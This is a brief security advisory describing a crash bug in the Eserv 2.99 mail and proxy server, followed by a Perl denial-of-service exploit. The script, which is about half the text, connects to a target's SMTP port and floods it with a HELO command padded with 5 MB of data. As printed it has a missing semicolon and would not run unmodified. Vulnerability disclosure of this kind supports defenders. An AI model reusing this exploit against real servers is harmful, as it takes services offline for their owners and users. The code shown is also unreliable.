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| Eserv is a Mail, News, Web, FTP and Proxy Servers for Win95/98/NT/2000. A security vulnerability in the product allows remote attackers to cause the server to crash by sending it more than 5Mb of data. |
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Credit:
The information has been provided by securma massine.
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Vulnerable systems:
* Eserv version 2.99 and prior
Exploit:
#!/usr/bin/perl -w
#greetz: marocit
#tool Eserv_dos.pl
use IO::Socket;
$buffer = "A"x 5080000 ;
$hel = "HELO "
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", PeerPort=>"25"); unless ($connect) { die "cant connect $ARGV [0]" }
print $connect "$hel$buffer";
print "\nsending exploit......\n\n";
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